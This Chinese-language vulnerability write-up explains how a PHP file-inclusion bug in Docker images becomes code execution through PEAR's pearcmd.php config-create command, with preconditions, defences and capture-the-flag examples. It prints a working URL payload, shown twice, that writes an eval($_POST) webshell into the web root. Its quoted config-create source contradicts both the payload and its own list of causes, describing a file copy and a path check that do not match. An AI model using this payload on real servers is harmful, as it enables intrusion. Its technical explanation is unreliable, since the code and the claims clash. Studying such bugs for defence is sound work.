PEAR组件在Docker生态中的无文件RCE
字数 1274 2025-08-30 06:50:35
PEAR组件在Docker生态中的无文件RCE漏洞分析与利用
漏洞概述
PEAR(PHP Extension and Application Repository)是PHP官方维护的代码仓库系统,pearcmd.php是该生态的核心控制脚本。在特定条件下,攻击者可以利用PEAR组件的config-create命令实现无文件RCE(远程代码执行)。
漏洞原理
核心机制
- 参数注入:当PHP配置
register_argc_argv=On时,URL中的+符号会被解析为参数分隔符 - 命令执行:通过文件包含漏洞包含
pearcmd.php,并注入config-create命令参数 - 文件写入:
config-create命令可将任意内容写入指定文件,包括PHP webshell
关键组件
/usr/local/lib/php/pearcmd.php- PEAR组件的默认安装路径(Docker环境强制存在)Console_Getopt::readPHPArgv()- 参数解析方法,将URL参数转换为命令行参数
漏洞利用条件
必要条件
- PHP版本 ≤ 7.4(Docker默认环境)
register_argc_argv=On(可通过phpinfo()查看)- PEAR组件已安装(路径
/usr/local/lib/php/pear) - 存在文件包含漏洞(如
include($_GET['file']);)
非必要条件但常见于漏洞环境
- 容器化环境(Docker)
- 文件后缀白名单限制仅允许包含
.php文件
漏洞利用详解
攻击流程
- 通过文件包含漏洞包含
pearcmd.php - 注入
config-create命令参数 - 将PHP webshell写入web可访问目录
- 访问写入的webshell执行任意命令
典型Payload
http://target/?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[2]);>+/var/www/html/a.php
参数解析
&:URL参数分隔符+:空格替代符(URL编码为%2b)/:伪造绝对路径起始符
技术细节
config-create命令实现
function doConfigCreate($command, $options, $params) {
if (count($params) < 2) {
return PEAR::raiseError("config-create: expecting 2 parameters");
}
if (!file_exists($params[0])) {
return PEAR::raiseError("config-create: source file does not exist");
}
if (!@is_writable(dirname($params[1]))) {
return PEAR::raiseError("config-create: cannot write to destination directory");
}
$content = file_get_contents($params[0]);
file_put_contents($params[1], $content);
return true;
}
漏洞成因
- 直接写入用户输入的
$content未做PHP代码检测 - 仅检查是否以
/开头,未限制路径归属目录 - 使用Web进程权限写入,未校验目标目录所有权
实际案例
[NSSRound#8 Basic]MyPage
题目存在文件包含漏洞,利用pearcmd获取shell:
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[2]);>+/var/www/html/a.php
元旦水友赛
利用pear工具的config-create命令:
- 第一个参数:被写入文件的内容(PHP代码)
- 第二个参数:写入的文件路径
防御措施
- 禁用
register_argc_argv(设置为Off) - 删除或限制访问
pearcmd.php - 严格过滤文件包含参数
- 限制web目录的写入权限
- 升级到最新PHP版本
总结
PEAR组件的无文件RCE漏洞展示了传统防御机制在特殊环境下的局限性。该漏洞利用PHP参数解析特性、PEAR组件功能以及Docker默认配置的组合,实现了无需文件上传的代码执行,是容器化环境中需要特别注意的安全风险。